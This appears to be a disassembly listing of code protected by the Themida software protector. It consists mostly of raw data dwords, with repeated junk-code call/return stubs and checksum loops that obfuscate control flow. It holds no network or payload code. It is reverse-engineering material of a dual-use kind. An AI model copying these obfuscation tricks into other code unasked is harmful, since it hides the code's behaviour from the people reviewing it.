83061323h dd 11E905C0h, 0E3000000h, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h dd 7DD362A1h, 60525090h, 0B1D18B66h, 310F61F2h, 10860Fh dd 0AE80000h, 6B000000h, 7AE6AB16h, 753A6BB9h, 585A5F41h dd 13E950h, 0E41F0000h, 56392E53h, 53E2F800h, 0CFD25E2Ch dd 5C1E6734h, 6A9065h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0EEC8E7C3h, 0B5EC866Eh, 2B5B1ECCh dd 130B45BDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0BE05C357h, 0D1544DECh dd 6A006AD7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0E0ADC357h, 0DCBFBCDFh, 0E96D5776h dd 9, 0F23C51ADh, 0B0CE3709h, 0F195FF64h, 0B7061307h, 6A8D8D9Eh dd 6A0616A3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 24D7C353h, 0BDFE9F41h, 0BAE847E9h dd 23059501h, 0D1FF0613h, 8CDBD89h, 0BD830613h, 613173Dh dd 7E850F01h, 1000000h, 1329A5B5h, 8B026A06h, 1309D9BDh dd 0BABB6606h, 10E8909Ah, 0EE000000h, 5806F0CFh, 2B6AEAFAh dd 0F21C25F4h, 50D2A429h, 0F5B5752h, 0AE831h, 0E2610000h dd 66C8EF22h, 2651B75Bh, 5F585A5Bh, 8B0F9050h, 0Ch, 68B0Fh dd 9D8B0000h, 6131D55h, 1E9595FFh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 61CFC5C3h dd 0BD8D6F44h, 0F3FE936h, 0E80000h, 5D000000h, 0E2A5ED81h dd 0B70F0617h, 299589FEh, 8B061309h, 130BE19Dh, 0D59D8B06h dd 8D06130Fh, 168F5E85h, 51BD8906h, 9006131Bh, 5050DF8Bh dd 11E852h, 0A2340000h, 68093D90h, 56D0046Dh, 0FF0E3259h dd 5BF2A20Eh, 11E8310Fh, 0DF000000h, 387D76C8h, 9A0B1CACh dd 0B0CFAE30h, 189AA37Fh, 5A5B2BB7h, 6A9058h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F0DDFBC3h dd 0F2BC1064h, 0FF640189h, 35h, 8964F800h, 25h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E84DD8A6h, 0E60F5A00h, 6840F16h, 89000000h, 132B919Dh dd 0D985FF06h, 50061316h, 57F38166h, 0FF6A5BC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 80C35646h, 9217B1C3h dd 6890Fh, 0B5890000h, 6131FC9h, 0B01B5FFh, 7E90613h, 0F3000000h dd 0B314B01Eh, 95FF9163h, 61331ADh, 12BE9h, 0DFB70F00h dd 0B0DEB70Fh, 3DBD8B00h, 0E6061300h, 4870F70h, 66000000h dd 0E46A9ABBh, 870F6071h, 6, 2119B58Bh, 85890613h, 6131501h dd 0F613C61h, 0F383h, 0D9B50900h, 0F061329h, 6BAC8B6h dd 0F000000h, 0C18BD9B7h, 0E904E8C1h, 9, 65FCC0C0h, 5766CC3Dh dd 0FBBF0F99h, 0BFE2F766h, 512B664Ah, 0AE9C82Bh, 0F8000000h dd 7804201h, 0D13A3F20h, 89D18BDDh, 130EF9BDh, 0A6E906h dd 0BD8B0000h, 61311E9h, 4858BFCh, 66000000h, 0FE79EB81h dd 8B07C083h, 131935BDh, 0C08306h, 3850Fh, 0BF0F0000h dd 0FD03BF9h, 1A83h, 890F6000h, 1, 0E1BD8BF8h, 61061306h dd 63E9h, 19858900h, 8B06131Ch, 0FFFFFF8Dh, 219529FFh dd 8906130Fh, 131AB5B5h, 1E18306h, 42840Fh, 0E8600000h dd 14h, 0D8141773h, 0AC600D7Bh, 0A6004424h, 10A70EEAh dd 1CAABD99h, 830Fh, 8B5F0000h, 0A58361D7h, 0FFFFFFFFh dd 0F5B529FEh, 89061331h, 495h, 819D0B00h, 0E9061331h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6175FACh] pusha movzx eax, bx push esi mov edx, [ebp+6132BC1h] pop edx popa push 0 push 0 push ebp call sub_5CA7D8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA7D8 proc near ; CODE XREF: Themida_:005CA7D0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5CA7D8 endp ; --------------------------------------------------------------------------- dd 0C3E922Ch, 0C7DC6EE4h, 0DA995FFh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0AF12CCC3h dd 0CE9A3h, 0FC980000h, 0BD90229Dh, 0D36315DBh, 0BE85CCCh dd 70000000h, 16A764D5h, 964828CFh, 0F525068h, 85h, 0B95B5B00h dd 1032h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 8AC35141h, 0D8B70F60h, 6AFCE183h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6646C352h dd 0BD8B7779h, 6130A45h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0E59589EFh, 0B8061319h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5CA8BF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA8BF proc near ; CODE XREF: Themida_:005CA8B7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5CA8BF endp ; --------------------------------------------------------------------------- db 9Fh dd 7DFFD3E4h, 2805707h, 0BA5F56E2h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+6130571h] loc_5CA8E6: ; CODE XREF: Themida_:005CA8F0j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CA8E6 push 0 push ebx call sub_5CA8FD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA8FD proc near ; CODE XREF: Themida_:005CA8F5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CA8FD endp ; --------------------------------------------------------------------------- mov esp, [esi] or eax, 859D8B5Dh add [ebx], edx push es push 0 push eax call sub_5CA922 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA922 proc near ; CODE XREF: Themida_:005CA91Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5CA922 endp ; --------------------------------------------------------------------------- cld push 7017AF46h mov word ptr [eax+782ED0BBh], fs add large ds:88h, cl mov [ebp+6130B2Dh], esi mov edx, [ebp+6131BBDh] push 0 push esi call sub_5CA95B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA95B proc near ; CODE XREF: Themida_:005CA953p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CA95B endp ; --------------------------------------------------------------------------- db 65h ; --------------------------------------------------------------------------- cmp ch, [edi-74294DC5h] mov ebp, 61306E1h mov ecx, [ebp+61318DDh] push 0 push ecx call sub_5CA988 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA988 proc near ; CODE XREF: Themida_:005CA980p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5CA988 endp ; --------------------------------------------------------------------------- push edi xor ds:8B26D940h, ah mov ebp, 6130D91h push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push ecx call sub_5CA9C1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA9C1 proc near ; CODE XREF: Themida_:005CA9B9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5CA9C1 endp ; --------------------------------------------------------------------------- db 0BAh, 16h, 64h ; --------------------------------------------------------------------------- mov bx, 0CECh pusha mov [ebp+6131359h], eax mov esi, [ebp+61322CDh] popa push 0 push ecx call sub_5CA9F1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA9F1 proc near ; CODE XREF: Themida_:005CA9E9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5CA9F1 endp ; --------------------------------------------------------------------------- db 1Ah, 61h, 29h dd 0E5EFF549h, 83B75FFFh, 131D1DBDh, 840F0006h, 1Eh, 0B8h dd 0DF816600h, 8D8D0DB0h, 6134F8Dh, 1059BD89h, 0E1FF0613h dd 17059589h, 0BD830613h, 6133055h, 0A8840F00h, 83000004h dd 133055BDh, 840F0106h, 4B6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0CBC35141h, 7DF52700h, 25FBEA75h dd 3055BD83h, 0F030613h, 44F86h, 1DBB6600h, 6A6049h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 10C97BC3h, 0EAB33A2Bh, 80D98C66h, 0EF8104E1h, 2C332A0Eh dd 840FC90Ah, 1C2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0C7C35545h, 0C78E2C23h, 2E645665h, 0B8EB8166h dd 0B9858B32h, 6A06132Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 4334C355h, 10E9h, 0D8341200h dd 2B7F681Bh, 4766FC6Bh, 9DE1649Fh, 19D8B75h, 33061325h dd 1305B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 2A8AA758h, 5250C454h, 0CE9h, 105A1300h dd 0F3795A92h, 0B88AAD2Fh, 4895BD5h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 6B8C89C7h dd 6A1E794Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0C5AE8610h, 661538FCh, 89DFD381h dd 4DCF8166h, 4E89Dh, 3FF0000h, 0BB66001Fh, 0F500C50h dd 28Dh, 8B5B5700h, 0E8042444h, 8, 0B82E1046h, 2B6499B9h dd 5BFA8B57h, 0E8008B5Fh, 0Eh, 659CEDD9h, 7ACC519Dh, 0AF49A07h dd 10B7A3AAh, 2444895Fh, 0F525004h, 8E931h, 53160000h dd 0CC1CDF00h, 585AAF57h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 41683D29h dd 0BD09EAFBh, 61319D1h, 6E9h, 178D700h, 5195CEC2h, 0D4EF8166h dd 95FF5BC7h, 6130A3Dh, 0C4548589h, 0EF800616h, 1F1E96Dh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 4F930CC3h, 0A4AABB91h, 858B3737h, 616C44Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5FC35545h dd 99CD587Fh, 0CDC4D5D0h, 53C381CDh, 5000F35Fh, 0FE9h dd 0FD245300h, 9A9A1520h, 85007989h, 0B4A89935h, 1800C75Bh dd 31000000h, 1328C18Dh, 50B58B06h, 660616C4h, 8BA208BBh dd 132A5585h, 6A068906h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 2B74C350h, 0FBB048Eh dd 381h, 0FAB70F00h, 8B0Fh, 858B0000h, 6132BB9h, 1991BD09h dd 0BD230613h, 61321FDh, 81044689h, 25A8E8F7h, 0FDB79622h dd 6A9650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 660FDAC3h, 0FF682420h, 16C44CB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 142982FBh, 0A7AA96BAh, 0C2C3E068h, 9856BB4Fh, 34811530h dd 0DDC01F24h, 57006A4Fh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 14398CF7h, 7A7E30CAh dd 6E9DBE1h, 0D7000000h, 0DBD9AF48h, 54858D31h, 6A0616C4h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 7AA6C355h, 3622D379h, 6660904Fh, 0E8D241B8h dd 0Eh, 5BF3E5BBh, 4328B0C2h, 4F69D768h, 52502197h, 585A310Fh dd 6050615Bh, 0A3CEB850h, 615E35F8h, 5E990h, 93550000h dd 89A7D2E6h, 1314A59Dh, 3D95FF06h, 6A06130Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0F155C350h, 9B6A7Ah, 61A18357h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 76C35242h, 0F73B12C0h, 0D98B6616h dd 0D3FBBB66h, 305585C7h, 30613h, 0BD2B0000h, 6132821h dd 0C454BD83h, 0F000616h, 3F84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0AFFAB7FEh dd 0F605A7Bh, 2956CABFh, 1323E195h, 0E9615906h, 27h, 0DA5BD8Bh dd 0B5310613h, 6130F01h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 9B3C352h, 13117595h dd 0F3816606h, 816610A4h, 0E948E9CFh, 12h, 7182F3D6h, 0D14E47DFh dd 0A53D5409h, 5C4B77FDh, 0BD834E00h, 6133055h, 1850F03h dd 6A000005h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0B57CC350h, 0C454BD83h, 0F000616h dd 4D784h, 0FE800h, 0EE450000h, 262ACC21h, 0FAD371CEh dd 0DF0735D3h, 0F985311Dh, 5F061331h, 0FFF88B66h, 16C454B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 8248D4B4h, 94DDF7A8h, 95FF3118h, 6130969h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 23C35646h dd 65C78E2Ch, 9E956h, 0F030000h, 1047A1E9h, 52369AF9h dd 5BF98B66h, 0C448B58Bh, 6A0616h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0BFA507C3h, 10E967h dd 0D5780000h, 7F1994DCh, 0FE9B3852h, 72D65A81h, 0F98B795Ch dd 106C7h, 6E80001h, 0C6000000h, 650F2F65h, 0B59D892Eh dd 5B06130Bh, 9E8h, 256D5B00h, 0A661A1BBh, 0B70F3779h dd 57965BFBh, 505FDD8Ah, 2DBB6650h, 66965FBFh, 0FFC6B8BFh dd 16C454B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 1D85018Eh, 66061306h, 2F12EB81h dd 322995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 1C2404C3h, 29E42DC3h, 8974C436h dd 1311D9BDh, 48B58B06h, 6A0616C4h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BDCC352h dd 13063185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 38B64462h, 0C48689BFh, 8B000000h dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 972EC9C1h, 5347AA36h, 0C2835823h dd 13E904h, 0DAF30000h, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h dd 85D9A96h, 2050891Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 71C35242h, 8B487C0Eh, 0B58B60D8h, 6130DD1h dd 8FF897B8h, 858D6131h, 616D8E3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 8EC35646h, 3CDED0BCh, 5E98BFD1h dd 86892043h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h dd 0B1C35040h, 0EF50BC0Eh, 0A35BD89h, 8D890613h, 6130E9Dh dd 0BB66006Ah, 816607A1h, 0FF7FD1C3h, 16C454B5h, 68B0F06h dd 8B000000h, 13197DBDh, 0FBBF0F06h, 1E9595FFh, 0CE90613h dd 0DD000000h, 0AF72DB44h, 0D6C2B983h, 96EFA82Ah, 10E8h dd 3668000h, 9B8ACE71h, 64696A60h, 0D219113Bh, 9EBB6630h dd 0E8505FE2h, 0Fh, 5033E961h, 16B62A7Ch, 0EDAC77C8h, 0F04FC51h dd 280h, 5FD88B00h, 0BE666096h, 0B8663AB1h, 0FF6190A5h dd 16C454B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0FF7040C6h, 317D1D30h, 1329DD95h dd 0DA8B6606h, 214595FFh, 8B660613h, 49BD8BDFh, 8306131Ah dd 131495BDh, 840F0006h, 2Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 3C35343h, 4CB9E559h, 0BF50A790h dd 6425FB47h, 8A243489h, 54B5FFFDh, 6A0616C4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 2949C355h, 13248D85h, 0AD95FF06h, 0E9061305h, 11h, 2625A6A5h dd 25E91BF7h, 890E7BFh, 0C168BDF7h, 54B5FF84h, 6A0616C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 1D86C357h, 9D8989E3h, 6131709h, 120995FFh dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 4C561DC3h, 11BD8327h, 2061305h, 8E840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0FE8D16C3h, 37B9FE83h, 0EE87Eh, 93FD0000h dd 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 68D0Fh, 890F0000h dd 0 ; --------------------------------------------------------------------------- pop edi mov eax, [ebp+6130F55h] push 0 push esi call sub_5CB402 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB402 proc near ; CODE XREF: Themida_:005CB3FAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CB402 endp ; --------------------------------------------------------------------------- dw 171Fh dd 0D586D9E0h, 0D6F38166h, 0C60Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 99C35646h, 1E5185C7h, 613h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FBC66C3h, 687h, 58D8900h, 0BF06131Eh, 29294FB1h dd 0FFF1C9E9h, 9D8B60FFh, 61319DDh, 5BDBD89h, 8B610613h dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 145E1664h, 0A9858D71h, 0E806131Eh, 10h dd 792C8457h, 0A8F978Dh, 193DA073h, 0FCB51C76h, 0C030BF66h dd 61BB905Bh, 504F455Bh, 61DE8B60h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 727E2C4h, 5DC38C61h dd 0AAF38177h, 802A1227h, 6AA3C7h, 20859D89h, 6A0613h dd 858DFC8Ah, 617F362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0E9C35747h, 7743C5CFh, 0DE841h, 61560000h dd 8AE8F74Dh, 4B634D95h, 5BD878D8h, 23359D8Bh, 0C0830613h dd 0E8806005h, 9061F5CAh, 6583BB50h, 66905EA1h, 6A2E16BBh dd 998D8900h, 6A06130Ah, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0CE97F6F4h, 0F195FFD0h dd 23061307h, 1318D5BDh, 6A8D8D06h, 890616A3h, 1323219Dh dd 0E8D1FF06h, 6, 0D20EEF58h, 0BB66205Fh, 835B2793h, 13173DBDh dd 850F0106h, 68h, 9044BF66h, 6A026Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A2CD83C3h dd 8087022Fh, 8B90B1D2h, 13308DBDh, 52509006h, 585A310Fh dd 12E85050h, 0B6000000h, 58CEAF47h, 19B67732h, 31E521F9h dd 0FED8A50h, 5B616033h, 9529905Bh, 613140Dh, 1E9595FFh dd 9D890613h, 61318F9h, 0DEAE9h, 0E800h, 815D0000h, 17F36CEDh dd 0D8BF0F06h, 8DFB8B66h, 168F5E85h, 6840F06h, 33000000h dd 130DD9BDh, 0BB669006h, 6050AEBAh, 0C052BB66h, 8E0F51h dd 58000000h, 0CE99061h, 97000000h, 126C7F9h, 3B035060h dd 6448E3A6h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0A7D9F3C3h, 89D4C335h dd 6615D5E3h, 34ADDB81h, 258964h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 759AC351h, 0FFE31BA1h, 1316D985h, 7E806h, 20870000h dd 0E68748BFh, 58B0F1Eh, 0BB000000h, 2C678D6h, 6AF98A5Bh dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 50AD6D73h, 578BA8D6h, 0FFF95964h, 132101B5h dd 0DABF0F06h, 31AD95FFh, 50E90613h, 0E8000001h, 9, 9716FF66h dd 5FC523EEh, 0EF81667Dh, 0BB5B18FAh, 5EE3E36Fh, 0DE800B0h dd 0DF000000h, 12969294h, 36DF1AA1h, 2CA5E262h, 895FDE8Ah dd 1312DDBDh, 8B70E606h, 131CF5BDh, 8B71E406h, 130B759Dh dd 0F613C06h, 10283h, 0DDBD2300h, 2B061301h, 130C559Dh dd 0C8B60F06h, 0FE8h, 635D5700h, 6D5F351Bh, 4F19C4E1h dd 15C77E47h, 5BDE8B51h, 6BA5Fh, 8B660000h, 89C18BFEh dd 131571B5h, 4E8C106h, 0E2F766FCh, 2B3D8529h, 8D290613h dd 6132051h, 0BD8BC82Bh, 61309C5h, 8589D18Bh, 6131B01h dd 0A2E9h, 18D0F00h, 0F8000000h, 4C44858Bh, 0E7815F4Ch dd 1E747A1Dh, 5207C083h, 9B58956h, 5B06130Ch, 0C0835Fh dd 1985BD8Bh, 0D03B0613h, 0E830Fh, 95890000h, 61314E1h dd 66E9h, 0FA8B6600h, 0FFFF8D8Bh, 13E8FFFFh, 0B9000000h dd 0C351CA17h, 9A9E5FD0h, 6FE1C6D5h, 0C0F8FE60h, 81663784h dd 5F468DC7h, 0F01E183h, 3684h, 13E900h, 2D370000h, 72370DB0h dd 5CDB7EF3h, 0BF401B70h, 800A2AA8h, 0FFA5837Fh, 0FEFFFFFFh dd 0D98531h, 95890613h, 5F4C4C44h, 3069BD0Bh, 0E90613h dd 8D000000h, 176FDEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0BBA718FAh, 3004080Eh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 667526C3h, 860FFB8Bh, 5, 38EF8166h, 0D7BB6604h dd 0A995FFADh, 6A06130Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 9A08C352h, 8A2B001Fh dd 3AF38166h, 0FE9B943h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 7B3294C3h, 815F15FFh dd 4447F8E3h, 0FCE1836Bh, 6800F50h, 31000000h, 130C31BDh dd 6AFC5F06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4C8C356h, 20A38DCDh, 0C02BF57Bh dd 0BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0C233AD66h, 0D003E8D1h, 7504E983h dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0A1962311h, 9A86F476h, 8A0F07ADh, 6, 1D319D2Bh dd 9D890613h, 61323B1h, 880Dh, 0CD858900h, 9061301h, 13063595h dd 0BD958B06h, 6A06131Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 76B9C350h, 5E9C3FCh dd 0B7000000h, 3D9EF83Ch, 0A519D8Bh, 8D8B0613h, 61318DDh dd 9839CF81h, 8B5047E3h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 50C35343h, 0DE9BCh, 56200000h, 0DF80AAE9h, 818CFF9Ch dd 8934DED8h, 132A1995h, 0A1B58906h, 83061319h, 131D1DBDh dd 840F0006h, 68h, 0DCEB8166h, 0B81Bh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 8611FEC3h, 600E2DDDh, 0D9BD8BA7h, 8D061309h, 134F8D8Dh dd 0FFD98B06h, 50006AE1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 830F47B5h, 8, 28C0Fh dd 3B30000h, 3055BD83h, 0F000613h, 3C484h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 615F19B4h, 0D60E2BF4h, 0A59D8B0Eh, 83061330h, 133055BDh dd 840F0106h, 3A8h, 3D1AFBBh, 55BD834Dh, 3061330h, 360860Fh dd 840F0000h, 6, 14659D8Bh, 6A600613h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h dd 0BD31D98Ch, 6130FF9h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 912FC356h dd 32649A57h, 40581C2Bh, 0DD953360h, 8B061324h, 1307C1BDh dd 0C90A6106h, 116840Fh, 0F3800000h, 72DBF16h, 858B0610h dd 6132BB9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 69C35040h, 911706C9h, 8368AFh, 9D8B51AFh, 6131DF5h dd 0B985335Fh, 6A061305h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 8771C352h, 0C6404C89h dd 6E890E6h, 82000000h, 0D8830087h dd 2820F00h, 53000000h, 8B505F5Bh, 0B70F90D9h, 6A006ADEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0B8E7C353h, 617F8D68h, 81DE8AE6h, 84722404h dd 0BD8B19BDh, 61324B1h, 0A3D95FFh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B8F73C3h dd 548589FBh, 6A0616C4h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 767FC356h, 6890Fh dd 9D8B0000h, 6132BB5h, 21E59D89h, 35E90613h, 0BF000001h dd 27AE1CAEh, 0C44C858Bh, 81660616h, 99A86C3h, 1319D18Dh dd 1800C706h, 89000000h, 1304DD8Dh, 50B58B06h, 6A0616C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A554C357h, 858B41EEh, 6132A55h, 0D519D89h dd 6890613h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 6CC35343h, 0ABB33CA0h, 26025C2Dh, 8BDA8B56h, 132BB985h dd 38F0F06h, 80000000h, 4689B1F7h, 0B5BD8B04h, 96061331h dd 9AC2BF66h, 0AE950h, 57CA0000h, 3122840Dh, 0A43C2397h dd 4CB5FF96h, 500616C4h, 0C0D9D8Bh, 0E85B0613h, 4, 1F03FFh dd 5350DA8Bh, 0D9A624BBh, 448B5F01h, 0BA600424h, 146BB95Bh dd 9F56BE66h, 50008B61h, 0DE852h, 0B58F0000h, 8CB30F6Dh dd 0C7EB2E15h, 0BFC5E8B8h, 38881AC0h, 8B310F5Bh, 89585AFEh dd 0B3042444h, 860F58D7h, 0Fh, 0AE9h, 20AEFB00h, 86646E9Ch dd 8DC3C38Ah, 16C45485h, 0FBB70F06h, 7AB0BB50h, 4893BC4h dd 3D95FF24h, 5206130Ah, 5BDBBF0Fh, 56006A61h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B63C75h, 29D9CD18h dd 305585C7h, 30613h, 0B5310000h, 6131FBDh, 0C454BD83h dd 0F000616h, 6984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 1BAEC4A0h, 36D86996h dd 0DF8B6625h, 56E98CB7h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 563BC357h dd 13E8h, 46011400h, 0BC62C0A6h, 1478D424h, 81FB16BBh dd 0EE814A2Dh, 